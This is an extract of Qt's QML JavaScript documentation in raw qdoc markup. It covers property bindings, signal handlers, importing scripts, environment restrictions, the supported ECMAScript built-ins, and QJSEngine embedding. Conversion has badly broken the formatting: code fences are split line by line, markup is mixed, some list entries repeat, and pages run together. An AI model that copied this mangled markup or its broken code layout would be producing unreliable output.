    color: mousearea.pressed ? "steelblue" : "lightsteelblue"
```

```
    MouseArea {
```

```
        id: mousearea
```

```
        anchors.fill: parent
```

```
    }
```

```
}
```

\endqml

In fact, any JavaScript expression (no matter how complex) may be used in a property binding definition, as long as the result of the expression is a value whose type can be assigned to the property. This includes side effects. However, complex bindings and side effects are discouraged because they can reduce the performance, readability, and maintainability of the code.

There are two ways to define a property binding: the first (and most common) is, as previously shown, in a `{QML Object Attributes#Value Assignment on Initialization}` {property initialization}. The second (and much rarer) way is to assign the property a function returned from the `{Qt::binding()}{Qt.binding()}` function, from within imperative JavaScript code, as shown below:

\qml

```
import QtQuick 2.0
```

```
Rectangle {
```

```
    id: colorbutton
```

```
    width: 200; height: 80;
```

```
    color: "red"
```

```
    MouseArea {
```

```
        id: mousearea
```

```

        anchors.fill: parent
    }

    Component.onCompleted: {
        color = Qt.binding(function() { return mousearea.pressed ? "steelblue" : "lightsteelblue" });
    }
}

\endqml

```

See the [\{Property Binding\}](#) documentation for more information about how to define property bindings, and see the documentation about [\{qml-javascript-assignment\}](#) [\{Property Assignment versus Property Binding\}](#) for information about how bindings differ from value assignments.

## \section1 JavaScript in Signal Handlers

QML object types can emit signals in reaction to certain events occurring. Those signals can be handled by signal handler functions, which can be defined by clients to implement custom program logic.

Suppose that a button represented by a `Rectangle` type has a `MouseArea` and a `Text` label. The `MouseArea` will emit its `\{MouseArea::\}``pressed` signal when the

user presses the defined interactive area, which will automatically trigger the `\c onPressed` handler, which can be defined by clients. The QML engine will execute the JavaScript expressions defined in the `\c onPressed` and `\c onReleased` handlers, as required. Typically, a signal handler is bound to JavaScript expressions to initiate other events or to simply assign property values.

```
\qml
```

```
import QtQuick 2.0
```

```
Rectangle {
```

```
    id: button
```

```
    width: 200; height: 80; color: "lightsteelblue"
```

```
    MouseArea {
```

```
        id: mousearea
```

```
        anchors.fill: parent
```

```
        onPressed: {
```

```
            // arbitrary JavaScript expression
```

```
            label.text = "I am Pressed!"
```

```
        }
```

```
        onReleased: {
```

```
            // arbitrary JavaScript expression
```

```
            label.text = "Click Me!"
```

```
    }  
  
    }  
  
    Text {  
        id: label  
        anchors.centerIn: parent  
        text: "Press Me!"  
    }  
}  
  
\endqml
```

Please see the [\{Signal and Handler Event System}](#) documentation for in-depth discussion of signals and signal handlers, and see the [\{QML Object Attributes}](#) documentation for in-depth discussion of how to define the implementation of signal handlers in QML with JavaScript.

## [\section1 JavaScript in Standalone Functions](#)

Program logic can also be defined in JavaScript functions. These functions can be defined inline in QML documents (as custom methods) or externally in imported JavaScript files.

## \section2 JavaScript in Custom Object Methods

Custom methods can be defined in QML documents and may be called from signal handlers, property bindings, or functions in other QML objects. Methods defined in this way are often referred to as `\e{inline JavaScript functions}` because their implementation is included in the QML object type definition (QML document), as opposed to an external JavaScript file.

An example of an inline custom method is as follows:

```
\qml
```

```
import QtQuick 2.0
```

```
Item {
```

```
    function factorial(a) {
```

```
        a = parseInt(a);
```

```
        if (a <= 0)
```

```
            return 1;
```

```
        else
```

```
            return a * factorial(a - 1);
```

```
    }
```

```
    MouseArea {
```

```
anchors.fill: parent
onClicked: console.log(factorial(10))
}
}
\endqml
```

The factorial function will run whenever the MouseArea detects a `clicked` signal.

Importantly, custom methods defined inline in a QML document are exposed to other objects, and therefore inline functions on the root object in a QML component can be invoked by callers outside the component. If this is not desired, the method can be added to a non-root object or, preferably, written in an external JavaScript file.

See the [QML Object Attributes](#) documentation for in-depth discussion of how to define custom methods in QML with JavaScript code implementations.

## 2 Functions in Imported JavaScript Files

Non-trivial program logic is best separated into external JavaScript files.

These files can be imported into QML files using an `import` statement, in the same way that [QML Modules](#) are imported.

For example, the `{factorial()}` method in the above example could be moved into an external file named `factorial.js`, and accessed like this:

```
\qml
import "factorial.js" as MathFunctions

Item {
    MouseArea {
        anchors.fill: parent
        onClicked: console.log(MathFunctions.factorial(10))
    }
}
\endqml
```

For more information about loading external JavaScript files into QML, read the section about `{Importing JavaScript Resources in QML}`.

## `{section2 Connecting Signals to JavaScript Functions}`

QML object types which emit signals also provide default signal handlers for their signals, as described in a previous section. Sometimes, however, a client will want to cause a signal emitted from one object to trigger a function defined in another object; and in that case, a signal connection

is often preferable.

A signal emitted by a QML object may be connected to a JavaScript function by calling the signal's `connect()` method and passing the JavaScript function as an argument. For example, the following code connects the `MouseArea` `clicked` signal to the `jsFunction()` in `script.js`:

<pre>qml/integrating-javascript/connectjs.qml 0</pre>
<pre>qml/integrating-javascript/script.js 0</pre>

The `jsFunction()` will now be called whenever `MouseArea`'s `clicked` signal is emitted.

See [qtqml-syntax-signals.html](#)

{Connecting Signals to Methods and Signals} for more information.

section1 JavaScript in Application Startup Code

It is occasionally necessary to run some imperative code at application (or component instance) startup. While it is tempting to just include the startup script as `{global code}` in an external script file, this can have severe limitations as the QML environment may not have been fully established. For example, some objects might not have been created or some `{Property Binding}`{property bindings} may not have been established. See `{JavaScript Environment Restrictions}` for the exact limitations of global script code.

A QML object will emit the `{Component.completed}` `{Signal and Handler Event System#Attached Signal Handlers}`{attached signal} when its instantiation is complete. JavaScript code in the corresponding `{Component.onCompleted}` handler runs after the object is instantiated. Thus, the best place to write application startup code is in the `{Component.onCompleted}` handler of the top-level object, because this object emits `{Component.completed}` when the QML environment is fully established.

For example:

```
qml
import QtQuick 2.0

Rectangle {
    function startupFunction() {
        // ... startup code
    }
}
```

```
}
```

```
Component.onCompleted: startupFunction();
```

```
}
```

```
\endqml
```

Any object in a QML file - including nested objects and nested QML component instances - can use this attached property. If there is more than one `\c onCompleted()` handler to execute at startup, they are run sequentially in an undefined order.

Likewise, every `\c Component` will emit a `\l {Component::destruction}{destruction()}` signal just before being destroyed.

```
*/
```

```
/*
```

```
\internal
```

NOTE: TODO Qt 5.1: We are not sufficiently confident about the implementation of scarce resources in Qt 5.0.0, so mark this section as internal for now.

It should eventually become public API

There is another section about scarce resources in `basictypes.qdoc`. It should be enabled at the same time.

## \section1 Scarce Resources in JavaScript

As described in the documentation for \l{QML Basic Types}, a \c var type property may hold a \e{scarce resource} (image or pixmap). There are several important semantics of scarce resources which should be noted:

\list

\li By default, a scarce resource is automatically released by the declarative engine as soon as evaluation of the expression in which the scarce resource is allocated is complete if there are no other references to the resource

\li A client may explicitly preserve a scarce resource, which will ensure that the resource will not be released until all references to the resource are released and the JavaScript engine runs its garbage collector

\li A client may explicitly destroy a scarce resource, which will immediately release the resource

\endlist

In most cases, allowing the engine to automatically release the resource is the correct choice. In some cases, however, this may result in an invalid variant being returned from a function in JavaScript, and in those cases it may be necessary for clients to manually preserve or destroy resources for themselves.

For the following examples, imagine that we have defined the following class:

\snippet qml/integrating-javascript/scarceresources/avatarExample.h 0

and that we have registered it with the QML type-system as follows:

```
\snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 0
```

The AvatarExample class has a property which is a pixmap. When the property is accessed in JavaScript scope, a copy of the resource will be created and stored in a JavaScript object which can then be used within JavaScript. This copy will take up valuable system resources, and so by default the scarce resource copy in the JavaScript object will be released automatically by the declarative engine once evaluation of the JavaScript expression is complete, unless the client explicitly preserves it.

```
\section2 Example One: Automatic Release
```

In the following example, the scarce resource will be automatically released after the binding evaluation is complete. Assume we have the following qml file:

```
\snippet qml/integrating-javascript/scarceresources/exampleOne.qml 0
```

And then use it from C++:

```
\snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 1
```

```
\section2 Example Two: Automatic Release Prevented By Reference
```

In this example, the resource will not be automatically released after the binding expression evaluation is complete, because there is a property var referencing the scarce resource.

\snippet qml/integrating-javascript/scarceresources/exampleTwo.qml 0

And from C++:

\snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 2

## \section2 Example Three: Explicit Preservation

In this example, the resource must be explicitly preserved in order to prevent the declarative engine from automatically releasing the resource after evaluation of the imported script.

We create a JavaScript file:

\snippet qml/integrating-javascript/scarceresources/exampleThree.js 0

Import it in QML:

\snippet qml/integrating-javascript/scarceresources/exampleThree.qml 0

Run it in C++:

\snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 3

## \section2 Example Four: Explicit Destruction

In the following example, we release (via `destroy()`) an explicitly preserved scarce resource variant. This example shows how a client may free system resources by releasing the scarce resource held in a JavaScript object, if required, during evaluation of a JavaScript expression.

We create a JavaScript file:

\snippet qml/integrating-javascript/scarceresources/exampleFour.js 0

Import it in QML:

\snippet qml/integrating-javascript/scarceresources/exampleFour.qml 0

Run it in C++:

\snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 4

## \section2 Example Five: Explicit Destruction and JavaScript References

One thing to be aware of when using "var" type properties is that they hold references to JavaScript objects. As such, if multiple references to one scarce resource is held, and the client calls `destroy()` on one of those references (to explicitly release the scarce resource), all of the references will be affected.

\snippet qml/integrating-javascript/scarceresources/exampleFive.qml 0

Run it in C++:

\snippet qml/integrating-javascript/scarceresources/avatarExample.cpp 5

\title List of JavaScript Objects and Functions

\brief A list of objects, functions, and properties supported in QML.

This reference contains a list of objects, functions and properties supported by the \{QQmlEngine}{QML engine}. For a detailed description, see the \{ECMA-262} specification.

\section1 The Global Object

\section2 Value Properties

\list

\li NaN

\li Infinity

\li undefined

\endlist

## \section2 Function Properties

\list

\li eval(x)

\li parseInt(string, radix)

\li parseFloat(string)

\li isNaN(number)

\li isFinite(number)

\li decodeURI(encodedURI)

\li decodeURIComponent(encodedURIComponent)

\li encodeURI(uri)

\li encodeURIComponent(uriComponent)

\endlist

## \section2 Constructor Properties

\list

\li Object

\li Function

\li Array

\li String

- \li Boolean

- \li Number

- \li Date

- \li RegExp

- \li Error

- \li EvalError

- \li RangeError

- \li ReferenceError

- \li SyntaxError

- \li TypeError

- \li URIError

- \endlist

\section2 Other Properties

- \list

- \li Math

- \li JSON

- \endlist

\section1 The Object Object

\section2 Object Constructor

\section3 Function Properties

\list

\li getPrototypeOf(O)

\li getOwnPropertyDescriptor(O, P)

\li getOwnPropertyNames(O)

\li create(O [, Properties])

\li defineProperty(O, P, Attributes)

\li defineProperties(O, Properties)

\li keys(O)

\li seal(O)

\li isSealed(O)

\li freeze(O)

\li isFrozen(O)

\li preventExtensions(O)

\li isExtensible(O)

\endlist

\section2 Object Prototype

\section3 Function Properties

\list

\li toString()

\li toLocaleString()

\li valueOf()

- \li hasOwnProperty(V)
- \li isPrototypeOf(V)
- \li propertyIsEnumerable(V)

\endlist

\section1 Function Objects

\section2 Function Prototype

\section3 Function Properties

\list

- \li toString()
- \li apply(thisArg, argArray)
- \li call(thisArg [, arg1 [, arg2, ...]])
- \li bind((thisArg [, arg1 [, arg2, â€¦]])

\endlist

\section1 Array Objects

\section2 Array Prototype Object

\section3 Function Properties

\list

- \li toString()
- \li toLocaleString()
- \li concat([item1 [, item2 [, ...]]])
- \li join(separator)
- \li pop()
- \li push([item1 [, item2 [, ...]]])
- \li reverse()
- \li shift()
- \li slice(start, end)
- \li sort(comparefn)
- \li splice(start, deleteCount[, item1 [, item2 [, ...]]])
- \li unshift([item1 [, item2 [, ...]]])
- \li indexOf(searchElement [, fromIndex])
- \li lastIndexOf(searchElement [, fromIndex])
- \li every(callbackfn [, thisArg])
- \li some(callbackfn [, thisArg])
- \li forEach(callbackfn [, thisArg])
- \li map(callbackfn [, thisArg])
- \li filter(callbackfn [, thisArg])
- \li reduce(callbackfn [, initialValue])
- \li reduceRight(callbackfn [, initialValue])
- \endlist

## \section1 String Objects

## \section2 String Prototype Object

## \section3 Function Properties

\list

\li toString()

\li valueOf()

\li charAt(pos)

\li charCodeAt(pos)

\li concat([string1 [, string2 [, ...]]])

\li indexOf(searchString ,position)

\li lastIndexOf(searchString, position)

\li localeCompare(that)

\li match(regex)

\li replace(searchValue, replaceValue)

\li search(regex)

\li slice(start, end)

\li split(separator, limit)

\li substring(start, end)

\li toLowerCase()

\li toLocaleLowerCase()

\li toUpperCase()

\li toLocaleUpperCase()

\li trim()

\endlist

Additionally, the QML engine adds the following functions to the `\I String` prototype:

```
\list
```

```
\li \I {String::arg}{arg()}}
```

```
\endlist
```

```
\section1 Boolean Objects
```

```
\section2 Boolean Prototype Object
```

```
\section3 Function Properties
```

```
\list
```

```
\li toString()
```

```
\li valueOf()
```

```
\endlist
```

```
\section1 Number Objects
```

```
\section2 Number Prototype Object
```

```
\section3 Function Properties
```

```
\list
```

- \li toString(radix)
- \li toLocaleString()
- \li toFixed(fractionDigits)
- \li toExponential(fractionDigits)
- \li toPrecision(precision)

\endlist

Additionally, the QML engine adds the following functions to the \I Number prototype:

\list

- \li \I {Number::fromLocaleString}{fromLocaleString(locale, number)}
- \li \I {Number::toLocaleCurrencyString}{toLocaleCurrencyString(locale, symbol)}
- \li \I {Number::toLocaleString}{toLocaleString(locale, format, precision)}

\endlist

\section1 The Math Object

\section2 Value Properties

\list

- \li E
- \li LN10
- \li LN2
- \li LOG2E
- \li LOG10E
- \li PI

\li SQRT1\_2

\li SQRT2

\endlist

## \section2 Function Properties

\list

\li abs(x)

\li acos(x)

\li asin(x)

\li atan(x)

\li atan2(y, x)

\li ceil(x)

\li cos(x)

\li exp(x)

\li floor(x)

\li log(x)

\li max([value1 [, value2 [, ...]]])

\li min([value1 [, value2 [, ...]]])

\li pow(x, y)

\li random()

\li round(x)

\li sin(x)

\li sqrt(x)

\li tan(x)

\endlist

\section1 Date Objects

\section2 Date Prototype Object

\section3 Function Properties

\list

\li toString()

\li toString()

\li toString()

\li toLocaleString()

\li toLocaleDateString()

\li toLocaleTimeString()

\li valueOf()

\li getTime()

\li getFullYear()

\li getUTCFullYear()

\li getMonth()

\li getUTCMonth()

\li getDate()

\li getUTCDate()

\li getDay()

\li getUTCDay()

- \li getHours()
- \li getUTCHours()
- \li getMinutes()
- \li getUTCMinutes()
- \li getSeconds()
- \li getUTCSeconds()
- \li getMilliseconds()
- \li getUTCMilliseconds()
- \li getTimeZoneOffset()
- \li setTime(time)
- \li setMilliseconds(ms)
- \li setUTCMilliseconds(ms)
- \li setSeconds(sec [, ms])
- \li setUTCSeconds(sec [, ms])
- \li setMinutes(min [, sec [, ms]])
- \li setUTCMinutes(min [, sec [, ms]])
- \li setHours(hour [, min [, sec [, ms]]])
- \li setUTCHours(hour [, min [, sec [, ms]]])
- \li setDate(date)
- \li setUTCDate(date)
- \li setMonth(month [, date])
- \li setUTCMonth(month [, date])
- \li setFullYear(year [, month [, date]])
- \li setUTCFullYear(year [, month [, date]])
- \li toUTCString()

- \li toISOString()

- \li toJSON()

- \endlist

Additionally, the QML engine adds the following functions to the \I Date prototype:

- \list

- \li \I {Date::timeZoneUpdated}{timeZoneUpdated()}

- \li \I {Date::toLocaleDateString}{toLocaleDateString(locale, format)}

- \li \I {Date::toLocaleString}{toLocaleString(locale, format)}

- \li \I {Date::toLocaleTimeString}{toLocaleTimeString(locale, format)}

- \endlist

## \section1 RegExp Objects

### \section2 RegExp Prototype Object

### \section3 Function Properties

- \list

- \li exec(string)

- \li test(string)

- \li toString()

- \endlist

## \section1 Error Objects

## \section2 Error Prototype Object

```
\title JavaScript Host Environment
```

```
\brief Description of the JavaScript host environment provided by the QML engine
```

QML provides a JavaScript host environment tailored to writing QML applications.

This environment is different from the host environment provided by a browser or a server-side JavaScript environment such as Node.js. For example, QML does not provide a `window` object or `DOM API` as commonly found in a browser environment.

## \section1 Common Base

Like a browser or server-side JavaScript environment, the QML runtime implements the `ECMA-262` `ECMAScript Language Specification` standard. This provides access to all of the built-in types and functions defined by the standard, such as `Object`, `Array`, and `Math`. The QML runtime implements the 5th edition of the standard, which is the same edition commonly implemented by browsers.

The standard ECMAScript built-ins are not explicitly documented in the QML documentation. For more information on their use, please refer to the `ECMA-262` 5th edition standard or one of the many online JavaScript reference and tutorial sites, such as the `W3Schools JavaScript Reference` (`JavaScript Objects`

Reference section). Many sites focus on JavaScript in the browser, so in some cases you may need to double

check the specification to determine whether a given function or object is part of standard ECMAScript or

specific to the browser environment. In the case of the W3Schools link above, the \c{JavaScript Objects Reference} section generally covers the standard, while the \c{Browser Objects Reference} and \c{HTML DOM

Objects Reference} sections are browser specific (and thus not applicable to QML).

## \section1 QML Global Object

The QML JavaScript host environment implements a number of host objects and functions, as detailed in the \l{QML Global Object} documentation.

These host objects and functions are always available, regardless of whether any modules have been imported.

## \section1 JavaScript Objects and Functions

A list of the JavaScript objects, functions and properties supported by the QML engine can be found in the \l{List of JavaScript Objects and Functions}.

Note that QML makes the following modifications to native objects:

\list

- An `{String::arg}{arg()}` function is added to the `String` prototype.

- Locale-aware conversion functions are added to the `Date` and `Number` prototypes.

## JavaScript Environment Restrictions

QML implements the following restrictions for JavaScript code:

- 

- JavaScript code cannot modify the global object.

In QML, the global object is constant - existing properties cannot be modified or deleted, and no new properties may be created.

Most JavaScript programs do not intentionally modify the global object.

However, JavaScript's automatic creation of undeclared variables is an implicit modification of the global object, and is prohibited in QML.

Assuming that the `a` variable does not exist in the scope chain, the following code is illegal in QML:

```
\code
```

```
// Illegal modification of undeclared variable
```

```
a = 1;
```

```
for (var ii = 1; ii < 10; ++ii)
    a = a * ii;
console.log("Result: " + a);
\endcode
```

It can be trivially modified to this legal code.

```
\code
var a = 1;
for (var ii = 1; ii < 10; ++ii)
    a = a * ii;
console.log("Result: " + a);
\endcode
```

Any attempt to modify the global object - either implicitly or explicitly - will cause an exception. If uncaught, this will result in a warning being printed, that includes the file and line number of the offending code.

\li Global code is run in a reduced scope.

During startup, if a QML file includes an external JavaScript file with "global" code, it is executed in a scope that contains only the external file itself and the global object. That is, it will not have access to the QML objects and properties it \l {Scope and Naming Resolution}{normally would}.

Global code that only accesses script local variable is permitted. This is an example of valid global code.

```
\code
var colors = [ "red", "blue", "green", "orange", "purple" ];
\endcode
```

Global code that accesses QML objects will not run correctly.

```
\code
// Invalid global code - the "rootObject" variable is undefined
var initialPosition = { rootObject.x, rootObject.y }
\endcode
```

This restriction exists as the QML environment is not yet fully established.

To run code after the environment setup has completed, see

[\l {JavaScript in Application Startup Code}](#).

[\li](#) The value of `\c this` is currently undefined in QML in the majority of contexts.

The `\c this` keyword is supported when binding properties from JavaScript.

In all other situations, the value of

`\c this` is undefined in QML.

To refer to a specific object, provide an `\c id`. For example:

```
\qml
```

```
Item {
```

```
    width: 200; height: 100
```

```
    function mouseAreaClicked(area) {
```

```
        console.log("Clicked in area at: " + area.x + ", " + area.y);
```

```
    }
```

```
    // This will not work because this is undefined
```

```
    MouseArea {
```

```
        height: 50; width: 200
```

```
        onClicked: mouseAreaClicked(this)
```

```
    }
```

```
    // This will pass area2 to the function
```

```
    MouseArea {
```

```
        id: area2
```

```
        y: 50; height: 50; width: 200
```

```
        onClicked: mouseAreaClicked(area2)
```

```
    }
```

```
}
```

```
\endqml
```

```
\endlist
```

\title Importing JavaScript Resources in QML
```

```
\brief Description of how to import and use JavaScript resources in QML documents
```

`\{qtqml-javascript-resources.html\}``{JavaScript resources}` may be imported by QML documents and other JavaScript resources. JavaScript resources may be imported via either relative or absolute URLs. In the case of a relative URL, the location is resolved relative to the location of the `\{QML Documents\}``{QML document}` or `\{qtqml-javascript-resources.html\}``{JavaScript Resource}` that contains the import. If the script file is not accessible, an error will occur. If the JavaScript needs to be fetched from a network resource, the component's `\{QQmlComponent::status()\}``{status}` is set to "Loading" until the script has been downloaded.

JavaScript resources may also import QML modules and other JavaScript resources. The syntax of an import statement within a JavaScript resource differs slightly from an import statement within a QML document, which is documented thoroughly below.

```
\section1 Importing a JavaScript Resource from a QML Document
```

A QML document may import a JavaScript resource with the following syntax:

```
\code
```

```
import "ResourceURL" as Qualifier
```

```
\endcode
```

For example:

```
\code
```

```
import "jsfile.js" as Logic
```

```
\endcode
```

Imported JavaScript resources are always qualified using the "as" keyword. The qualifier for JavaScript resources must be unique, so there is always a one-to-one mapping between qualifiers and JavaScript files. (This also means qualifiers cannot be named the same as built-in JavaScript objects such as `Date` and `Math`).

The functions defined in an imported JavaScript file are available to objects defined in the importing QML document, via the

`{Qualifier.functionName(params)}` syntax. Functions in JavaScript resources may take parameters whose type can be any of the supported QML basic types or object types, as well as normal JavaScript types. The normal `{data type conversion rules}` will apply to parameters and return values when calling such functions from QML.

## Imports Within JavaScript Resources

In \c {QtQuick 2.0}, support has been added to allow JavaScript resources to import other JavaScript resources and also QML type namespaces using a variation of the standard QML import syntax (where all of the previously described rules and qualifications apply).

Due to the ability of a JavaScript resource to import another script or QML module in this fashion in \c {QtQuick 2.0}, some extra semantics are defined:

\list

\li a script with imports will not inherit imports from the QML document which imported it (so accessing `Component.errorString` will fail, for example)

\li a script without imports will inherit imports from the QML document which imported it (so accessing `Component.errorString` will succeed, for example)

\li a shared script (i.e., defined as `.pragma library`) does not inherit imports from any QML document even if it imports no other scripts or modules

\endlist

The first semantic is conceptually correct, given that a particular script might be imported by any number of QML files. The second semantic is retained for the purposes of backwards-compatibility. The third semantic remains unchanged from the current semantics for shared scripts, but is clarified here in respect to the newly possible case (where the script imports other scripts or modules).

## \section2 Importing a JavaScript Resource from Another JavaScript Resource

A JavaScript resource may import another in the following fashion:

\code

```
.import "filename.js" as Qualifier
```

```
\endcode
```

For example:

```
\code
```

```
.import "factorial.js" as MathFunctions
```

```
\endcode
```

## \section2 Importing a QML Module from a JavaScript Resource

A JavaScript resource may import a QML module in the following fashion:

```
\code
```

```
.import TypeNamespace MajorVersion.MinorVersion as Qualifier
```

```
\endcode
```

For example:

```
\code
```

```
.import Qt.test 1.0 as JsQtTest
```

```
\endcode
```

In particular, this may be useful in order to access functionality provided via a singleton type; see `qmlRegisterSingletonType()` for more information.

\note The `.import` syntax doesn't work for scripts used in the `\l {WorkerScript}`

## \section1 Including a JavaScript Resource from Another JavaScript Resource

When a JavaScript file is imported, it must be imported with a qualifier. The functions in that file are then accessible from the importing script via the qualifier (that is, as `\tt{Qualifier.functionName(params)}`). Sometimes it is desirable to have the functions made available in the importing context without needing to qualify them, and in this circumstance the `\l{QtQml::Qt::include()}{Qt.include()}` function may be used to include one JavaScript file from another. This copies all functions from the other file into the current file's namespace, but ignores all pragmas and imports defined in that file.

For example, the QML code below left calls `\c showCalculations()` in `\c script.js`, which in turn can call `\c factorial()` in `\c factorial.js`, as it has included `\c factorial.js` using `\l {QtQml::Qt::include()}{Qt.include()}`.

```
\table
\row
\li {1,2} \snippet qml/integrating-javascript/includejs/app.qml 0
\li \snippet qml/integrating-javascript/includejs/script.js 0
\row
\li \snippet qml/integrating-javascript/includejs/factorial.js 0
\endtable
```

Notice that calling `\l {QtQml::Qt::include()}{Qt.include()}` copies all functions from `\c factorial.js` into the `\c MyScript` namespace, which means the QML component can also access `\c factorial()` directly as `\c MyScript.factorial()`.

\qmltype Number

\inqmlmodule QtQml

\brief The Number object provides represents a number value

The QML Number object extends the JS Number object with

locale aware functions.

\sa {QtQml::Locale}{Locale}

\*/

/\*!

\qmlmethod string Number::toLocaleString(locale,format,precision)

Converts the Number to a string suitable for the specified \a locale

in the specified \a format, with the specified \a precision.

Valid formats are:

\list

- \li 'f' Decimal floating point, e.g. 248.65
- \li 'e' Scientific notation using e character, e.g. 2.4865e+2
- \li 'E' Scientific notation using E character, e.g. 2.4865E+2
- \li 'g' Use the shorter of e or f
- \li 'G' Use the shorter of E or f

\endlist

If precision is not specified, the precision will be 2.

If the format is not specified 'f' will be used.

If \a locale is not specified, the default locale will be used.

The following example shows a number formatted for the German locale:

\code

```
import QtQuick 2.0
```

```
Text {
```

```
    text: "The value is: " + Number(4742378.423).toLocaleString(Qt.locale("de_DE"))
```

```
}
```

\endcode

You can apply toLocaleString() directly to constants, provided the decimal is included in the constant, e.g.

\code

```
123.0.toLocaleString(Qt.locale("de_DE")) // OK
```

```
123..toLocaleString(Qt.locale("de_DE")) // OK
```

```
123.toLocaleString(Qt.locale("de_DE")) // fails
```

```
\endcode
```

```
*/
```

```
/*!
```

```
\qmlmethod string Number::toLocaleCurrencyString(locale,symbol)
```

Converts the Number to a currency using the currency and conventions of the specified  
\a locale. If \a symbol is specified it will be used as the currency  
symbol.

```
\sa Locale::currencySymbol()
```

```
*/
```

```
/*!
```

```
\qmlmethod string Number::fromLocaleString(locale,number)
```

Returns a Number by parsing \a number using the conventions of the supplied \a locale.

If \a locale is not supplied the default locale will be used.

For example, using the German locale:

```
\code
```

```

var german = Qt.locale("de_DE");

var d;

d = Number.fromLocaleString(german, "1234,56") // d == 1234.56

d = Number.fromLocaleString(german, "1.234,56") // d == 1234.56

d = Number.fromLocaleString(german, "1234.56") // throws exception

d = Number.fromLocaleString(german, "1.234") // d == 1234.0

\endcode

\title QML Global Object

\brief Description of the Qml Global Object

The QML JavaScript host environment implements the following host objects and functions.

These are built in and can be used from any JavaScript code loaded in QML, without additional imports:

\list

\li The `{QmlGlobalQtObject}`{Qt object}: This object is specific to QML, and provides helper methods and properties specific to the QML environment.

\li `qsTr()`, `qsTranslate()`, `qsTrId()`, `QT_TR_NOOP()`, `QT_TRANSLATE_NOOP()`, and `QT_TRID_NOOP()` functions:

These functions are specific to QML, and provide [\{Overview of the Translation Process\}](#)translation capabilities} to the QML environment.

`\li gc()` function: This function is specific to QML, and provides a way to manually trigger garbage collection.

`\li print()` function: This function is specific to QML, and provides a simple way to output information to the console.

`\li The \{Console API\}console object`: This object implements a subset of the [\{http://getfirebug.com/wiki/index.php/Console\\_API\}](http://getfirebug.com/wiki/index.php/Console_API)FireBug Console API}.

`\li \{XMLHttpRequest\}, DOMException`: These objects implement a subset of the [\{http://www.w3.org/TR/XMLHttpRequest/\}](http://www.w3.org/TR/XMLHttpRequest/)W3C XMLHttpRequest specification}.

`\endlist`

`\keyword XMLHttpRequest`

`\section1 XMLHttpRequest`

The XMLHttpRequest object, which can be used to asynchronously obtain data from over a network.

The XMLHttpRequest API implements the same [\{http://www.w3.org/TR/XMLHttpRequest/\}](http://www.w3.org/TR/XMLHttpRequest/)W3C standard}

as many popular web browsers with following exceptions:

`\list`

`\li` QML's XMLHttpRequest does not enforce the same origin policy.

`\li` QML's XMLHttpRequest does not support `\e` synchronous requests.

`\endlist`

Additionally, the \c responseXML XML DOM tree currently supported by QML is a reduced subset of the \l {http://www.w3.org/TR/DOM-Level-3-Core/}{DOM Level 3 Core} API supported in a web browser. The following objects and properties are supported by the QML implementation:

\table

\header

\li \b {Node}

\li \b {Document}

\li \b {Element}

\li \b {Attr}

\li \b {CharacterData}

\li \b {Text}

\row

\li

\list

\li nodeName

\li nodeValue

\li nodeType

\li parentNode

\li childNodes

\li firstChild

\li lastChild

\li previousSibling

\li nextSibling

\li attributes

\endlist

\li

\list

\li xmlVersion

\li xmlEncoding

\li xmlStandalone

\li documentElement

\endlist

\li

\list

\li tagName

\endlist

\li

\list

\li name

\li value

\li ownerElement

\endlist

\li

\list

\li data

\li length

\endlist

\li

\list

\li isElementContentWhitespace

\li wholeText

\endlist

\endtable

The \{Qt Quick Examples - XMLHttpRequest\}{XMLHttpRequest example} demonstrates how to use the XMLHttpRequest object to make a request and read the response headers.

\title Scripting Classes and Overviews

\brief Classes for embedding JavaScript in Qt/C++ applications.

\*/

/\*!

\page qtjavascript.html

\title Making Applications Scriptable

\ingroup frameworks-technologies

\brief incorporating JavaScript in Qt applications.

Qt provides support for application scripting with JavaScript.

The following guides and references cover aspects of programming with JavaScript and Qt.

\tableofcontents

\section1 Scripting Classes

The following classes add scripting capabilities to Qt applications.

\annotatedlist qtjavascript

\section1 Basic Usage

To evaluate script code, you create a `QJSEngine` and call its `evaluate()` function, passing the script code (text) to evaluate as argument.

\snippet qtjavascript/evaluation/main.cpp 0

The return value will be the result of the evaluation (represented as a QJSValue object); this can be converted to standard C++ and Qt types.

Custom properties can be made available to scripts by registering them with the script engine. This is most easily done by setting properties of the script engine's `\e{Global Object}`:

\snippet qtjavascript/registeringvalues/main.cpp 0

This places the properties in the script environment, thus making them available to script code.

## \section1 Making a QObject Available to the Script Engine

Any QObject-based instance can be made available for use with scripts.

When a QObject is passed to the `QJSEngine::newQObject()` function, a Qt Script wrapper object is created that can be used to make the QObject's signals, slots, properties, and child objects available to scripts.

Here's an example of making an instance of a QObject subclass

available to script code under the name `\c{"myObject"}`:

```
\snippet qtjavascript/registeringobjects/main.cpp 0
```

This will create a global variable called `\c{myObject}` in the script environment. The variable serves as a proxy to the underlying C++ object. Note that the name of the script variable can be anything; i.e., it is not dependent upon `QObject::objectName()`.

\page qtqml-javascript-resources.html

\title Defining JavaScript Resources In QML

\brief Description of how JavaScript files may be defined for use in QML

The program logic for a QML application may be defined in JavaScript. The JavaScript code may either be defined in-line in QML documents, or separated into JavaScript files (known as \c {JavaScript Resources} in QML).

There are two different kinds of JavaScript resources which are supported in QML: code-behind implementation files, and shared (library) files. Both kinds of JavaScript resource may be \{qtqml-javascript-imports.html}{imported} by

other JavaScript resources, or included in `\{qml-modules-topic.html}`

`{QML modules}`.

## `\section1 Code-Behind Implementation Resource`

Most JavaScript files imported into a QML document are stateful implementations for the QML document importing them. In these cases, each instance of the QML object type defined in the document requires a separate copy of the JavaScript objects and state in order to behave correctly.

The default behavior when importing JavaScript files is to provide a unique, isolated copy for each QML component instance. If that JavaScript file does not import any resources or modules with a `\c{.import}` statement, its code will run in the same scope as the QML component instance and consequently can access and manipulate the objects and properties declared in that QML component. Otherwise, it will have its own unique scope, and objects and properties of the QML component should be passed to the functions of the JavaScript file as parameters if they are required.

An example of a code-behind implementation resource follows:

```
\qml
```

```
// MyButton.qml
```

```
import QtQuick 2.0
```

```
import "my_button_impl.js" as Logic // a new instance of this JavaScript resource is loaded for each instance of Button.qml
```

```
Rectangle {
```

```
    id: rect
```

```
    width: 200
```

```
    height: 100
```

```
    color: "red"
```

```
MouseArea {
```

```
    id: mousearea
```

```
    anchors.fill: parent
```

```
    onClicked: Logic.onClicked(rect)
```

```
}
```

```
}
```

```
\endqml
```

```
\qml
